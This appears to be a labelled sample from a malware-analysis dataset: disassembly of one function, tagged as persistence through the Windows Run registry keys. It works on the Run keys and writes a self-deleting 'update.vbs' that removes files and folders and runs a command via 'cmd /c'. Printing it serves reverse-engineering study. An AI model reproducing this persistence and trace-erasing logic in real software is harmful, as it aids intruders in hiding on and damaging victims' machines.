Function at 0xe3d420
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.00e42850
cmp dword [0xea513c], 0
je 0xe3d442
mov ecx, 0xea50f0
call fcn.00e3b8ac
xor ebx, ebx
inc ebx
cmp byte [0xea2d63], bl
jne 0xe3d452
call fcn.00e49a94
cmp byte [0xea2a85], 0
je 0xe3d46c
mov ecx, 0xea4d64
call fcn.00e31f04
mov ecx, eax
call fcn.00e4c291
mov esi, 0xea52c0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0xea2b33], bl
jne 0xe3d493
mov ecx, esi
call fcn.00e31f04
push eax
mov edx, edi
mov ecx, 0x80000001
call fcn.00e43a23
pop ecx
mov ebp, 0x80000002
cmp byte [0xea2b30], bl
jne 0xe3d4b2
mov ecx, esi
call fcn.00e31f04
push eax
mov edx, edi
mov ecx, ebp
call fcn.00e43a23
pop ecx
cmp byte [0xea2b31], bl
jne 0xe3d4cf
mov ecx, esi
call fcn.00e31f04
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.00e43a23
pop ecx
mov esi, 0xea5338
mov ecx, esi
call fcn.00e3247c
push eax
mov ecx, esi
call fcn.00e31fab
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0xea52f0
push str.exepath
mov ecx, ebx
call fcn.00e31fab
mov edx, eax
call fcn.00e436f8
add esp, 0x14
xor edi, edi
test al, al
jne 0xe3d523
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [0xe892fc]
mov ecx, ebx
call fcn.00e31fab
push eax
push 0x80000001
call dword [0xe89080]
mov esi, dword [0xe8928c]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
mov ebx, eax
mov ebp, 0xe96468
neg ebx
mov edx, ebp
mov ecx, 0xea5308
sbb bl, bl
and bl, 1
call fcn.00e377b7
test al, al
je 0xe3d57b
push 0x80
mov ecx, 0xea5308
call fcn.00e31f04
push eax
call esi
push str.update.vbs
push 0xe96f88
call fcn.00e6c0cf
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.00e3417e
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00e33014
pop ecx
lea ecx, [esp + 0x28]
call fcn.00e31f09
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.00e3417e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.00e342fc
pop ecx
lea ecx, [esp + 0x28]
call fcn.00e31f09
test bl, bl
je 0xe3d62c
push 0xe97030
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.00e3417e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.00e342fc
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00e33014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00e3325d
lea ecx, [esp + 0x28]
call fcn.00e31f09
lea ecx, [esp + 0x40]
call fcn.00e31f09
lea ecx, [esp + 0x58]
call fcn.00e31f09
mov esi, 0xe97068
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.00e3417e
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00e33014
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00e33014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00e3325d
lea ecx, [esp + 0x58]
call fcn.00e31f09
lea ecx, [esp + 0x40]
call fcn.00e31f09
lea ecx, [esp + 0x28]
call fcn.00e31f09
test bl, bl
je 0xe3d697
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.00e39052
mov ebx, 0xea5308
mov edx, ebp
mov ecx, ebx
call fcn.00e377b7
test al, al
je 0xe3d6e2
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.00e3b97c
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00e33014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00e3325d
lea ecx, [esp + 0x58]
call fcn.00e31f09
lea ecx, [esp + 0x40]
call fcn.00e31f09
push 0xe97130
push 0xe97134
lea ecx, [esp + 0xa8]
call fcn.00e3417e
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.00e3417e
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00e3431d
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00e32fa5
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00e33014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00e3325d
lea ecx, [esp + 0x58]
call fcn.00e31f09
lea ecx, [esp + 0x40]
call fcn.00e31f09
lea ecx, [esp + 0x28]
call fcn.00e31f09
lea ecx, [esp + 0x88]
call fcn.00e31f09
lea ecx, [esp + 0xa0]
call fcn.00e31f09
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.00e39052
push edi
lea ecx, [esp + 0x74]
call fcn.00e31f04
push eax
lea ecx, [esp + 0x18]
call fcn.00e3247c
mov esi, eax
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00e31f04
mov edx, esi
mov ecx, eax
call fcn.00e4c3f1
pop ecx
pop ecx
test al, al
je 0xe3d7d6
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00e31f04
push eax
push 0xe96108
push edi
call dword [0xe89368]
cmp eax, 0x20
jle 0xe3d7d6
push edi
call dword [0xe892b0]
lea ecx, [esp + 0x10]
call fcn.00e31f09
lea ecx, [esp + 0x70]
call fcn.00e31f09
lea ecx, [esp + 0x2c8]
call fcn.00e31f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret